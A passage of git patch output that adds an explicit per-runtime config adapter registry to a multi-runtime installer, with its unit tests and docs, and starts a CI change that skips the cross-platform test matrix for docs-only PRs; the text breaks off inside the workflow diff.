'utf-8').split(/\r?\n/); + for (let i = 0; i < lines.length; i++) { + if (SDK_REF.test(lines[i])) { + violations.push(`${rel(file)}:${i + 1}: ${lines[i].trim()}`); + } + } + } + } + + assert.strictEqual( + violations.length, + 0, + 'Runtime surfaces must not reference the retired gsd-sdk binary/package — ' + + 'use gsd-tools instead.\nViolations:\n' + violations.join('\n') + ); + }); + + test('at least one file per configured extension is scanned (guards against an empty sweep)', () => { + // A path typo, directory rename, or stale extension could silently make + // collectFiles() return [] for part of a surface, turning the guard above + // into a no-op that always passes. Checking per-surface isn't enough: for + // gsd-core/workflows the .md files alone keep a per-surface count > 0, so + // dropping .sh/.json would stop covering _runtime-launcher.snippet.sh and + // discuss-phase/templates/*.json while the test stayed green. Assert each + // configured extension actually resolves to scanned files. (#691 review) + for (const { dir, exts, skipDirs = [] } of RUNTIME_SURFACES) { + for (const ext of exts) { + const count = collectFiles(path.join(REPO_ROOT, dir), [ext], skipDirs).length; + assert.ok( + count > 0, + `Runtime surface "${dir}" resolved to 0 "${ext}" files — the path may ` + + 'have moved or the extension is stale; update RUNTIME_SURFACES so the ' + + 'guard keeps covering it.' + ); + } + } + }); +}); From 2f07443119c815f82b394fc72833a492a36cec38 Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sun, 7 Jun 2026 11:16:03 -0400 Subject: [PATCH 44/94] refactor(#60): make runtime config adapter registry explicit (#795) * refactor(#60): make runtime config adapter registry explicit Replace scattered inline `runtime === '...'` config-mutation branching in bin/install.js with an explicit, typed adapter registry. The new src/runtime-config-adapter-registry.cts maps each of the 15 supported runtimes to a config intent { installSurface, writesSharedSettings, finishPermissionWriter }; install()/finishInstall() dispatch by resolved intent instead of runtime-name checks (cursor/windsurf/trae collapse to one profile-marker-only branch). Behavior-preserving: the same config files are written for the same runtimes (opencode still writes both settings.json and its permissions; kilo writes only its permissions; codex minimal-mode and opencode GSD_TEST_MODE guards unchanged). Unknown runtimes fail loudly via TypeError, with an Object.hasOwn barrier so prototype-chain keys (__proto__/constructor) also throw rather than returning a bogus intent. Leads the installer-refactor chain (#58 -> #60 -> #56), building on ADR-58. Closes #60 Co-Authored-By: Claude Opus 4.8 * chore(#60): add changeset for runtime config adapter registry Co-Authored-By: Claude Opus 4.8 * docs(#60): register Runtime Config Adapter Registry in CONTEXT.md glossary Per docs/contributor-standards.md, every new Module/seam must get a `### ` entry under the domain glossary. Adds the entry for the runtime-config-adapter-registry seam introduced in this PR (interface, policy boundary, source file, ADR-58 / #60 cross-references). Co-Authored-By: Claude Opus 4.8 --------- Co-authored-by: Claude Opus 4.8 --- .../60-runtime-config-adapter-registry.md | 7 + .gitignore | 1 + CONTEXT.md | 3 + bin/install.js | 31 +-- docs/INVENTORY-MANIFEST.json | 1 + docs/INVENTORY.md | 3 +- eslint.config.mjs | 1 + src/runtime-config-adapter-registry.cts | 109 ++++++++ .../runtime-config-adapter-registry.test.cjs | 245 ++++++++++++++++++ 9 files changed, 380 insertions(+), 21 deletions(-) create mode 100644 .changeset/60-runtime-config-adapter-registry.md create mode 100644 src/runtime-config-adapter-registry.cts create mode 100644 tests/runtime-config-adapter-registry.test.cjs diff --git a/.changeset/60-runtime-config-adapter-registry.md b/.changeset/60-runtime-config-adapter-registry.md new file mode 100644 index 000000000..802af38a6 --- /dev/null +++ b/.changeset/60-runtime-config-adapter-registry.md @@ -0,0 +1,7 @@ +--- +type: Changed +pr: 795 +--- +Make per-runtime config-mutation dispatch in the installer explicit: a new runtime config adapter registry maps each supported runtime to a typed config intent (install surface, shared-settings gate, finish-phase permission writer), and `install()`/`finishInstall()` dispatch by resolved intent instead of inline `runtime === '...'` branching. Behavior-preserving; unknown runtimes now fail loudly. (#60) + + diff --git a/.gitignore b/.gitignore index 49990d26c..bbc12e1b1 100644 --- a/.gitignore +++ b/.gitignore @@ -124,6 +124,7 @@ build/ /gsd-core/bin/lib/worktree-safety.cjs /gsd-core/bin/lib/planning-workspace.cjs /gsd-core/bin/lib/runtime-artifact-layout.cjs +/gsd-core/bin/lib/runtime-config-adapter-registry.cjs /gsd-core/bin/lib/command-routing-hub.cjs /gsd-core/bin/lib/core.cjs /gsd-core/bin/lib/drift.cjs diff --git a/CONTEXT.md b/CONTEXT.md index 0a15b14ff..30acfb6c9 100644 --- a/CONTEXT.md +++ b/CONTEXT.md @@ -121,6 +121,9 @@ Module owning the per-runtime mapping from artifact kind to filesystem placement ### Runtime Install Policy Module Projects a pure, typed install plan for a given runtime by composing artifact placements (Runtime Artifact Layout Module), command text (Shell Command Projection Module), and per-runtime config intentions — with no filesystem IO or format-specific serialization. Runtime-specific adapters consume the plan and execute concrete file mutations and config rendering. See ADR-58. +### Runtime Config Adapter Registry +Module owning the explicit per-runtime config-mutation dispatch table for the installer. `resolveRuntimeConfigIntent(runtime)` projects a typed config intent — `installSurface` (`settings-json` | `codex-toml` | `copilot-instructions` | `cline-rules` | `profile-marker-only`), `writesSharedSettings` (the `finishInstall` shared-settings write gate), and `finishPermissionWriter` (`opencode` | `kilo` | none) — that `bin/install.js` dispatches on instead of inline `runtime === '...'` branching. Owns adapter selection only: it performs no filesystem IO and does not execute config mutations (the install/finishInstall handlers and the per-runtime writers do that). Unknown runtimes fail loudly with a `TypeError`, guarded by an `Object.hasOwn` own-property check so prototype-chain keys (`__proto__`, `constructor`) also throw. Realizes the adapter-selection half of the Runtime Install Policy Module boundary. Source: `gsd-core/bin/lib/runtime-config-adapter-registry.cjs`. See ADR-58, #60. + ### Knowledge Graph Module Module owning the graphify integration: config gate (`isGraphifyEnabled`), disabled response (`disabledResponse`), subprocess helper (`execGraphify`, typed `GRAPHIFY_REASON` enum), presence detection (`checkGraphifyInstalled`), version checking (`checkGraphifyVersion`), query surface (`graphifyQuery` — BFS seed-expand + budget trim), status surface (`graphifyStatus` — node/edge counts, mtime staleness, commit-staleness tri-state via `built_at_commit`/`commits_behind`/`commit_stale`), diff surface (`graphifyDiff` — added/removed/changed nodes+edges), build pre-flight (`graphifyBuild`), snapshot management (`writeSnapshot`). Reads `.planning/config.json:graphify.enabled` as config gate; writes to `.planning/graphs/`. Auto-update hook (`hooks/gsd-graphify-update.sh`) triggers a detached background rebuild after HEAD-advancing git operations on the default branch when `graphify.auto_update=true`. Status file `.planning/graphs/.last-build-status.json` carries `{ ts, status, exit_code, duration_ms, head_at_build, graphify_version }`. Graph IR uses `nodes[]`, `edges[]` (or `links[]` for graphify ≥0.7 compat), `hyperedges[]`, `built_at_commit`. `commit_stale` is tri-state: `false` (known fresh), `true` (stale), `null` (unknown — no git or pre-v0.7 graph). Source: `gsd-core/bin/lib/graphify.cjs`. Skill: `commands/gsd/graphify.md`. diff --git a/bin/install.js b/bin/install.js index 5c2b3e9df..4f67b71e0 100755 --- a/bin/install.js +++ b/bin/install.js @@ -35,6 +35,7 @@ const { applyWorktreeBaseRef, readBaseRefFromSettings, } = require('../gsd-core/bin/lib/worktree-base-ref.cjs'); +const { resolveRuntimeConfigIntent } = require('../gsd-core/bin/lib/runtime-config-adapter-registry.cjs'); /** * Runtimes that register hyphen-form `name:` per #2808 AND copy agent bodies @@ -8254,6 +8255,7 @@ function install(isGlobal, runtime = 'claude', options = {}) { const isHermes = runtime === 'hermes'; const isCodebuddy = runtime === 'codebuddy'; const isCline = runtime === 'cline'; + const configIntent = resolveRuntimeConfigIntent(runtime); const dirName = getDirName(runtime); const src = path.join(__dirname, '..'); @@ -9214,7 +9216,7 @@ function install(isGlobal, runtime = 'claude', options = {}) { throw _earlyInstallErr; } - if (isCodex && !isMinimalMode(_effectiveInstallMode)) { + if (configIntent.installSurface === 'codex-toml' && !isMinimalMode(_effectiveInstallMode)) { // Capture pre-install snapshots before ANY GSD mutation // (#2760 fix 3). On post-write schema-validation failure OR any throw // during the mutation sequence (write failure, merge throw, etc.) we @@ -9560,7 +9562,7 @@ function install(isGlobal, runtime = 'claude', options = {}) { return { settingsPath: null, settings: null, statuslineCommand: null, updateBannerCommand: null, runtime, configDir: targetDir }; } - if (isCopilot) { + if (configIntent.installSurface === 'copilot-instructions') { // Generate copilot-instructions.md const templatePath = path.join(targetDir, 'gsd-core', 'templates', 'copilot-instructions.md'); const instructionsPath = path.join(targetDir, 'copilot-instructions.md'); @@ -9574,25 +9576,13 @@ function install(isGlobal, runtime = 'claude', options = {}) { return { settingsPath: null, settings: null, statuslineCommand: null, updateBannerCommand: null, runtime, configDir: targetDir }; } - if (isCursor) { - // Cursor uses skills — no config.toml, no settings.json hooks needed + if (configIntent.installSurface === 'profile-marker-only') { + // Cursor/Windsurf/Trae use skills — no config.toml, no settings.json hooks needed persistActiveProfileMarker(); return { settingsPath: null, settings: null, statuslineCommand: null, updateBannerCommand: null, runtime, configDir: targetDir }; } - if (isWindsurf) { - // Windsurf uses skills — no config.toml, no settings.json hooks needed - persistActiveProfileMarker(); - return { settingsPath: null, settings: null, statuslineCommand: null, updateBannerCommand: null, runtime, configDir: targetDir }; - } - - if (isTrae) { - // Trae uses skills — no settings.json hooks needed - persistActiveProfileMarker(); - return { settingsPath: null, settings: null, statuslineCommand: null, updateBannerCommand: null, runtime, configDir: targetDir }; - } - - if (isCline) { + if (configIntent.installSurface === 'cline-rules') { // Cline uses .clinerules — generate a rules file with GSD system instructions const clinerulesDest = path.join(targetDir, '.clinerules'); const clinerules = [ @@ -10210,6 +10200,7 @@ function finishInstall(settingsPath, settings, statuslineCommand, shouldInstallS const isWindsurf = runtime === 'windsurf'; const isTrae = runtime === 'trae'; const isCline = runtime === 'cline'; + const configIntent = resolveRuntimeConfigIntent(runtime); if (shouldInstallStatusline && !isOpencode && !isKilo && !isCodex && !isCopilot && !isCursor && !isWindsurf && !isTrae) { if (!isGlobal && !forceStatusline) { @@ -10269,17 +10260,17 @@ function finishInstall(settingsPath, settings, statuslineCommand, shouldInstallS // {type: 'command', command: null} items that the runtime hook schema // rejects at parse time. validateHookFields filters those out so the file // we write is always schema-valid. - if (!isCodex && !isCopilot && !isKilo && !isCursor && !isWindsurf && !isTrae && !isCline) { + if (configIntent.writesSharedSettings) { writeSettings(settingsPath, validateHookFields(settings)); } // Configure OpenCode permissions - if (isOpencode && !process.env.GSD_TEST_MODE) { + if (configIntent.finishPermissionWriter === 'opencode' && !process.env.GSD_TEST_MODE) { configureOpencodePermissions(isGlobal, configDir); } // Configure Kilo permissions - if (isKilo) { + if (configIntent.finishPermissionWriter === 'kilo') { configureKiloPermissions(isGlobal, configDir); } diff --git a/docs/INVENTORY-MANIFEST.json b/docs/INVENTORY-MANIFEST.json index fedcb8ab2..046b487c2 100644 --- a/docs/INVENTORY-MANIFEST.json +++ b/docs/INVENTORY-MANIFEST.json @@ -325,6 +325,7 @@ "roadmap-upgrade.cjs", "roadmap.cjs", "runtime-artifact-layout.cjs", + "runtime-config-adapter-registry.cjs", "runtime-homes.cjs", "runtime-name-policy.cjs", "runtime-slash.cjs", diff --git a/docs/INVENTORY.md b/docs/INVENTORY.md index 2f458c0b0..bb422cd18 100644 --- a/docs/INVENTORY.md +++ b/docs/INVENTORY.md @@ -370,7 +370,7 @@ The `gsd-planner` agent is decomposed into a core agent plus reference modules t --- -## CLI Modules (89 shipped) +## CLI Modules (90 shipped) Full listing: `gsd-core/bin/lib/*.cjs`. @@ -436,6 +436,7 @@ Full listing: `gsd-core/bin/lib/*.cjs`. | `roadmap-upgrade.cjs` | Migration tool for converting legacy `Phase N` entries to milestone-prefixed `Phase M-NN` convention; `computeMigrationPlan` + `applyMigration` with dry-run default and atomic rollback | | `roadmap.cjs` | ROADMAP.md parsing, phase extraction, plan progress | | `runtime-artifact-layout.cjs` | Runtime artifact layout module — resolves the artifact directory shapes (commands, agents, skills) for each supported runtime; single source of truth for per-runtime artifact placement (#3663) | +| `runtime-config-adapter-registry.cjs` | Explicit runtime config adapter registry — resolves per-runtime config-mutation install intent (install surface, shared-settings gate, finish-phase permission writer); see ADR-58. | | `runtime-name-policy.cjs` | Runtime name normalization policy — canonical token sanitization for runtime identifiers used in path construction and display | | `runtime-homes.cjs` | Canonical runtime → global config/skills directory mapping; first-class support for all 15 runtimes including Hermes nested layout and Cline rules-based exclusion (#3126) | | `runtime-slash.cjs` | Runtime-aware slash-command formatter — single source of truth for emitting `/gsd-` (skills-based runtimes) and `$gsd-` (codex) in user-facing output and persisted artifacts (#3584) | diff --git a/eslint.config.mjs b/eslint.config.mjs index 6ea65d3bb..d88a62b24 100644 --- a/eslint.config.mjs +++ b/eslint.config.mjs @@ -86,6 +86,7 @@ export default tseslint.config( 'gsd-core/bin/lib/worktree-base-ref.cjs', 'gsd-core/bin/lib/planning-workspace.cjs', 'gsd-core/bin/lib/runtime-artifact-layout.cjs', + 'gsd-core/bin/lib/runtime-config-adapter-registry.cjs', 'gsd-core/bin/lib/command-routing-hub.cjs', 'gsd-core/bin/lib/core.cjs', 'gsd-core/bin/lib/drift.cjs', diff --git a/src/runtime-config-adapter-registry.cts b/src/runtime-config-adapter-registry.cts new file mode 100644 index 000000000..3bb690471 --- /dev/null +++ b/src/runtime-config-adapter-registry.cts @@ -0,0 +1,109 @@ +'use strict'; + +/** + * Runtime config adapter registry — explicit dispatch table for install-phase + * config mutations (issue #60), replacing inline `runtime === '...'` branching + * in bin/install.js. + * + * Design notes: + * - `installSurface` selects which config handler install() runs: + * 'settings-json' → fall through to the shared settings.json accumulation. + * 'codex-toml' → early-return after writing codex.toml. + * 'copilot-instructions' → early-return after writing .github/copilot-instructions.md. + * 'cline-rules' → early-return after writing .clinerules. + * 'profile-marker-only' → early-return after writing only the profile marker. + * - `writesSharedSettings` is the finishInstall writeSettings gate: + * false for codex / copilot / kilo / cursor / windsurf / trae / cline (legacy exclusion list). + * true for all other runtimes. + * - `finishPermissionWriter` names the finishInstall-phase dedicated config writer: + * 'opencode' → writes BOTH shared settings AND its own permissions file. + * 'kilo' → writes only its own permissions file. + * null → no dedicated permission writer. + */ + +// --------------------------------------------------------------------------- +// Types +// --------------------------------------------------------------------------- + +type ConfigInstallSurface = + | 'settings-json' + | 'codex-toml' + | 'copilot-instructions' + | 'cline-rules' + | 'profile-marker-only'; + +type FinishPermissionWriter = 'opencode' | 'kilo' | null; + +interface RuntimeConfigIntent { + runtime: string; + installSurface: ConfigInstallSurface; + writesSharedSettings: boolean; + finishPermissionWriter: FinishPermissionWriter; +} + +interface RegistryEntry { + installSurface: ConfigInstallSurface; + writesSharedSettings: boolean; + finishPermissionWriter: FinishPermissionWriter; +} + +// --------------------------------------------------------------------------- +// Registry +// --------------------------------------------------------------------------- + +const REGISTRY: Record> = Object.freeze({ + claude: Object.freeze({ installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: null } as const), + gemini: Object.freeze({ installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: null } as const), + antigravity: Object.freeze({ installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: null } as const), + augment: Object.freeze({ installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: null } as const), + qwen: Object.freeze({ installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: null } as const), + hermes: Object.freeze({ installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: null } as const), + codebuddy: Object.freeze({ installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: null } as const), + opencode: Object.freeze({ installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: 'opencode' } as const), + kilo: Object.freeze({ installSurface: 'settings-json', writesSharedSettings: false, finishPermissionWriter: 'kilo' } as const), + codex: Object.freeze({ installSurface: 'codex-toml', writesSharedSettings: false, finishPermissionWriter: null } as const), + copilot: Object.freeze({ installSurface: 'copilot-instructions', writesSharedSettings: false, finishPermissionWriter: null } as const), + cline: Object.freeze({ installSurface: 'cline-rules', writesSharedSettings: false, finishPermissionWriter: null } as const), + cursor: Object.freeze({ installSurface: 'profile-marker-only', writesSharedSettings: false, finishPermissionWriter: null } as const), + windsurf: Object.freeze({ installSurface: 'profile-marker-only', writesSharedSettings: false, finishPermissionWriter: null } as const), + trae: Object.freeze({ installSurface: 'profile-marker-only', writesSharedSettings: false, finishPermissionWriter: null } as const), +}); + +// --------------------------------------------------------------------------- +// Exports +// --------------------------------------------------------------------------- + +/** The complete set of 15 supported runtimes for config-adapter dispatch. */ +const ALLOWED_CONFIG_RUNTIMES: ReadonlySet = new Set(Object.keys(REGISTRY)); + +/** All valid installSurface values. */ +const INSTALL_SURFACES: ReadonlyArray = Object.freeze([ + 'settings-json', + 'codex-toml', + 'copilot-instructions', + 'cline-rules', + 'profile-marker-only', +]); + +/** + * Resolve the config adapter intent for a given runtime. + * + * Returns a fresh object each call so callers cannot poison the registry by + * mutating the returned value. + * + * @throws {TypeError} if runtime is not a known supported runtime. + */ +function resolveRuntimeConfigIntent(runtime: string): RuntimeConfigIntent { + if (!Object.hasOwn(REGISTRY, runtime)) { + throw new TypeError(`Unknown runtime for config adapter: ${runtime}`); + } + const entry = REGISTRY[runtime]; + return { + runtime, + installSurface: entry.installSurface, + writesSharedSettings: entry.writesSharedSettings, + finishPermissionWriter: entry.finishPermissionWriter, + }; +} + +export = { resolveRuntimeConfigIntent, ALLOWED_CONFIG_RUNTIMES, INSTALL_SURFACES }; diff --git a/tests/runtime-config-adapter-registry.test.cjs b/tests/runtime-config-adapter-registry.test.cjs new file mode 100644 index 000000000..a288a6ccf --- /dev/null +++ b/tests/runtime-config-adapter-registry.test.cjs @@ -0,0 +1,245 @@ +'use strict'; + +// Tests for runtime-config-adapter-registry.cjs (issue #60). +// TDD: this file is written BEFORE the implementation to establish the red state. + +const { describe, test } = require('node:test'); +const assert = require('node:assert/strict'); +const path = require('node:path'); + +const ROOT = path.join(__dirname, '..'); +const { + resolveRuntimeConfigIntent, + ALLOWED_CONFIG_RUNTIMES, + INSTALL_SURFACES, +} = require(path.join(ROOT, 'gsd-core', 'bin', 'lib', 'runtime-config-adapter-registry.cjs')); + +// --------------------------------------------------------------------------- +// Source-of-truth table (mirrors the intent table in the brief exactly) +// --------------------------------------------------------------------------- + +const EXPECTED_TABLE = [ + { runtime: 'claude', installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: null }, + { runtime: 'gemini', installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: null }, + { runtime: 'antigravity', installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: null }, + { runtime: 'augment', installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: null }, + { runtime: 'qwen', installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: null }, + { runtime: 'hermes', installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: null }, + { runtime: 'codebuddy', installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: null }, + { runtime: 'opencode', installSurface: 'settings-json', writesSharedSettings: true, finishPermissionWriter: 'opencode' }, + { runtime: 'kilo', installSurface: 'settings-json', writesSharedSettings: false, finishPermissionWriter: 'kilo' }, + { runtime: 'codex', installSurface: 'codex-toml', writesSharedSettings: false, finishPermissionWriter: null }, + { runtime: 'copilot', installSurface: 'copilot-instructions', writesSharedSettings: false, finishPermissionWriter: null }, + { runtime: 'cline', installSurface: 'cline-rules', writesSharedSettings: false, finishPermissionWriter: null }, + { runtime: 'cursor', installSurface: 'profile-marker-only', writesSharedSettings: false, finishPermissionWriter: null }, + { runtime: 'windsurf', installSurface: 'profile-marker-only', writesSharedSettings: false, finishPermissionWriter: null }, + { runtime: 'trae', installSurface: 'profile-marker-only', writesSharedSettings: false, finishPermissionWriter: null }, +]; + +// --------------------------------------------------------------------------- +// Test 1: Table-lock — every row in EXPECTED_TABLE must match exactly +// --------------------------------------------------------------------------- + +describe('resolveRuntimeConfigIntent — table-lock', () => { + for (const row of EXPECTED_TABLE) { + test(`${row.runtime} resolves to expected intent`, () => { + const intent = resolveRuntimeConfigIntent(row.runtime); + assert.deepStrictEqual(intent, { + runtime: row.runtime, + installSurface: row.installSurface, + writesSharedSettings: row.writesSharedSettings, + finishPermissionWriter: row.finishPermissionWriter, + }); + }); + } +}); + +// --------------------------------------------------------------------------- +// Test 2: Unknown runtime fails loudly (AC#2) +// --------------------------------------------------------------------------- + +describe('resolveRuntimeConfigIntent — unknown runtime throws TypeError', () => { + test('throws TypeError for unknown string "grok"', () => { + assert.throws(() => resolveRuntimeConfigIntent('grok'), TypeError); + }); + + test('throws TypeError for unknown string "xyzunknown"', () => { + assert.throws(() => resolveRuntimeConfigIntent('xyzunknown'), TypeError); + }); + + test('throws TypeError for empty string ""', () => { + assert.throws(() => resolveRuntimeConfigIntent(''), TypeError); + }); + + test('throws TypeError for undefined', () => { + assert.throws(() => resolveRuntimeConfigIntent(undefined), TypeError); + }); + + test('throws TypeError for "__proto__" (prototype-chain key)', () => { + assert.throws(() => resolveRuntimeConfigIntent('__proto__'), TypeError); + }); + + test('throws TypeError for "constructor" (prototype-chain key)', () => { + assert.throws(() => resolveRuntimeConfigIntent('constructor'), TypeError); + }); + + test('throws TypeError for "hasOwnProperty" (prototype-chain key)', () => { + assert.throws(() => resolveRuntimeConfigIntent('hasOwnProperty'), TypeError); + }); + + test('throws TypeError for "toString" (prototype-chain key)', () => { + assert.throws(() => resolveRuntimeConfigIntent('toString'), TypeError); + }); +}); + +// --------------------------------------------------------------------------- +// Test 3: writesSharedSettings exclusion equivalence +// --------------------------------------------------------------------------- + +describe('writesSharedSettings exclusion equivalence', () => { + const EXPECTED_FALSE_SET = new Set(['codex', 'copilot', 'kilo', 'cursor', 'windsurf', 'trae', 'cline']); + + test('runtimes with writesSharedSettings===false are exactly the exclusion set', () => { + const falseRuntimes = EXPECTED_TABLE + .filter(r => r.writesSharedSettings === false) + .map(r => r.runtime); + assert.deepStrictEqual(new Set(falseRuntimes), EXPECTED_FALSE_SET); + }); + + test('all other supported runtimes have writesSharedSettings===true', () => { + const trueRuntimes = EXPECTED_TABLE + .filter(r => r.writesSharedSettings === true) + .map(r => r.runtime); + for (const runtime of trueRuntimes) { + assert.ok(!EXPECTED_FALSE_SET.has(runtime), `${runtime} should have writesSharedSettings true`); + } + }); +}); + +// --------------------------------------------------------------------------- +// Test 4: finishPermissionWriter correctness +// --------------------------------------------------------------------------- + +describe('finishPermissionWriter', () => { + test('opencode -> "opencode"', () => { + assert.strictEqual(resolveRuntimeConfigIntent('opencode').finishPermissionWriter, 'opencode'); + }); + + test('kilo -> "kilo"', () => { + assert.strictEqual(resolveRuntimeConfigIntent('kilo').finishPermissionWriter, 'kilo'); + }); + + test('every other supported runtime -> null', () => { + const nullExpected = EXPECTED_TABLE + .filter(r => r.finishPermissionWriter === null) + .map(r => r.runtime); + for (const runtime of nullExpected) { + assert.strictEqual( + resolveRuntimeConfigIntent(runtime).finishPermissionWriter, + null, + `${runtime} should have finishPermissionWriter null`, + ); + } + }); +}); + +// --------------------------------------------------------------------------- +// Test 5: Distinct dedicated surfaces +// --------------------------------------------------------------------------- + +describe('installSurface correctness', () => { + test('codex -> "codex-toml"', () => { + assert.strictEqual(resolveRuntimeConfigIntent('codex').installSurface, 'codex-toml'); + }); + + test('copilot -> "copilot-instructions"', () => { + assert.strictEqual(resolveRuntimeConfigIntent('copilot').installSurface, 'copilot-instructions'); + }); + + test('cline -> "cline-rules"', () => { + assert.strictEqual(resolveRuntimeConfigIntent('cline').installSurface, 'cline-rules'); + }); + + test('cursor -> "profile-marker-only"', () => { + assert.strictEqual(resolveRuntimeConfigIntent('cursor').installSurface, 'profile-marker-only'); + }); + + test('windsurf -> "profile-marker-only"', () => { + assert.strictEqual(resolveRuntimeConfigIntent('windsurf').installSurface, 'profile-marker-only'); + }); + + test('trae -> "profile-marker-only"', () => { + assert.strictEqual(resolveRuntimeConfigIntent('trae').installSurface, 'profile-marker-only'); + }); + + test('the 7 passthroughs + opencode + kilo -> "settings-json"', () => { + const settingsJsonRuntimes = ['claude', 'gemini', 'antigravity', 'augment', 'qwen', 'hermes', 'codebuddy', 'opencode', 'kilo']; + for (const runtime of settingsJsonRuntimes) { + assert.strictEqual( + resolveRuntimeConfigIntent(runtime).installSurface, + 'settings-json', + `${runtime} should have installSurface "settings-json"`, + ); + } + }); +}); + +// --------------------------------------------------------------------------- +// Test 6: Returned intent is a fresh object (no shared reference mutation) +// --------------------------------------------------------------------------- + +describe('resolveRuntimeConfigIntent — fresh object each call', () => { + test('mutating the returned object does not affect a subsequent resolve', () => { + const first = resolveRuntimeConfigIntent('claude'); + first.installSurface = 'MUTATED'; + first.writesSharedSettings = false; + + const second = resolveRuntimeConfigIntent('claude'); + assert.strictEqual(second.installSurface, 'settings-json'); + assert.strictEqual(second.writesSharedSettings, true); + }); +}); + +// --------------------------------------------------------------------------- +// Test 7: Completeness (AC#4 table-driven) — ALLOWED_CONFIG_RUNTIMES +// --------------------------------------------------------------------------- + +describe('ALLOWED_CONFIG_RUNTIMES completeness', () => { + const EXPECTED_15 = new Set([ + 'claude', 'gemini', 'antigravity', 'augment', 'qwen', 'hermes', 'codebuddy', + 'opencode', 'kilo', 'codex', 'copilot', 'cline', 'cursor', 'windsurf', 'trae', + ]); + + test('ALLOWED_CONFIG_RUNTIMES contains exactly the 15 expected runtimes', () => { + const runtimeSet = new Set(ALLOWED_CONFIG_RUNTIMES); + assert.deepStrictEqual(runtimeSet, EXPECTED_15); + }); + + test('every member of ALLOWED_CONFIG_RUNTIMES resolves without throwing', () => { + for (const runtime of ALLOWED_CONFIG_RUNTIMES) { + assert.doesNotThrow(() => resolveRuntimeConfigIntent(runtime), `${runtime} should resolve without throwing`); + } + }); + + test('ALLOWED_CONFIG_RUNTIMES has exactly 15 entries', () => { + assert.strictEqual([...ALLOWED_CONFIG_RUNTIMES].length, 15); + }); +}); + +// --------------------------------------------------------------------------- +// Test 8: INSTALL_SURFACES export +// --------------------------------------------------------------------------- + +describe('INSTALL_SURFACES export', () => { + const EXPECTED_SURFACES = new Set([ + 'settings-json', + 'codex-toml', + 'copilot-instructions', + 'cline-rules', + 'profile-marker-only', + ]); + + test('INSTALL_SURFACES contains exactly the 5 surface strings', () => { + assert.deepStrictEqual(new Set(INSTALL_SURFACES), EXPECTED_SURFACES); + }); +}); From 571d7b5a1c0ef340fe426a88d2b6bc3c1d462ddd Mon Sep 17 00:00:00 2001 From: Tom Boucher Date: Sun, 7 Jun 2026 11:46:48 -0400 Subject: [PATCH 45/94] feat(#764): skip cross-platform test matrix for docs-only and inert-CI PRs (#798) test.yml had no paths filter and the ci-test-scope classifier treated docs/ and every .github/workflows/* as code_changed, so documentation edits and product-irrelevant automation tweaks still spun up the full Linux/Windows/macOS matrix. Narrow the heavy matrix to changes that can actually affect the product or the test pipeline. - ci-test-scope.cjs: drop docs/ from code_changed (docs-only -> full skip; the required-tests fan-in still reports green). Add src/ to code_changed (it was missing -> a source-only PR previously skipped all tests). Add INERT_WORKFLOWS allowlist + isInertCi() + an "inert CI" rule, and a product_changed output that gates the heavy test/coverage jobs. Fail-safe: any workflow not on the inert allowlist defaults to the full matrix. A module-load assertion throws if a PROTECTED_WORKFLOWS entry (test/install-smoke/mutation/security-scan/release) is ever added to the inert set, so a weakening edit fails CI loudly. - test.yml: keep the static 3-lane matrix (so the H1 shell-policy linter can still statically verify the Windows lane), gate test/coverage on product_changed, add a lightweight ubuntu-only test-inert job, and branch the required-tests fan-in on product_changed. - docs-required.yml: run docs-parity-live-registry (gated on docs/ changes) so pure-docs PRs still catch live-registry drift without the matrix. - tests: cover docs-only, inert-only, src/, pipeline, unknown-workflow fail-safe, mixed escalation, the code_changed=false -> no-lanes invariant, and protected- workflow tamper-evidence. Closes #764 Co-authored-by: Claude Opus 4.8 --- .github/workflows/docs-required.yml | 15 ++ .github/workflows/test.yml | 83 +++++++-- scripts/ci-test-scope.cjs | 131 +++++++++++-- tests/ci-test-scope.test.cjs | 276 ++++++++++++++++++++++++++-- 4 files changed, 455 insertions(+), 50 deletions(-) diff --git a/.github/workflows/docs-required.yml b/.github/workflows/docs-required.yml index a6c8a213a..4961d90d5 100644 --- a/.github/workflows/docs-required.yml +++ b/.github/workflows/docs-required.yml @@ -30,3 +30,18 @@ jobs: env: GITHUB_BASE_REF: ${{ github.base_ref }} run: node scripts/lint-docs-required.cjs + + - name: Detect docs/ changes + id: docs-changed + env: + BASE_REF: ${{ github.event.pull_request.base.ref }} + run: | + if git diff --name-only "origin/${BASE_REF}...HEAD" | grep -q '^docs/'; then + echo "docs_changed=true" >> "$GITHUB_OUTPUT" + else + echo "docs_changed=false" >> "$GITHUB_OUTPUT" + fi + + - name: Docs parity — live registry check + if: steps.docs-changed.outputs.docs_changed == 'true' + run: node --test tests/docs-parity-live-registry.test.cjs diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 68c46eb4e..d186c6d65 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -28,6 +28,7 @@ jobs: outputs: code_changed: ${{ steps.scope.outputs.code_changed }} full_matrix: ${{ steps.scope.outputs.full_matrix }} + product_changed: ${{ steps.scope.outputs.product_changed }} targeted_tests: ${{ steps.scope.outputs.targeted_tests }} windows_tests: ${{ steps.scope.outputs.windows_tests }} steps: @@ -49,6 +50,7 @@ jobs: if [ "$EVENT_NAME" != "pull_request" ]; then { echo "code_changed=true" + echo "product_changed=true" echo "full_matrix=true" echo "targeted_tests=" echo "windows_tests=" @@ -117,7 +119,7 @@ jobs: test: name: test (${{ matrix.os }}, ${{ matrix.node-version }}) needs: changes - if: needs.changes.outputs.code_changed == 'true' + if: needs.changes.outputs.product_changed == 'true' runs-on: ${{ matrix.os }} timeout-minutes: 15 env: @@ -214,6 +216,47 @@ jobs: if: matrix.scope == 'full' && needs.changes.outputs.full_matrix == 'true' run: npm run test:slow + test-inert: + name: test (inert CI) + 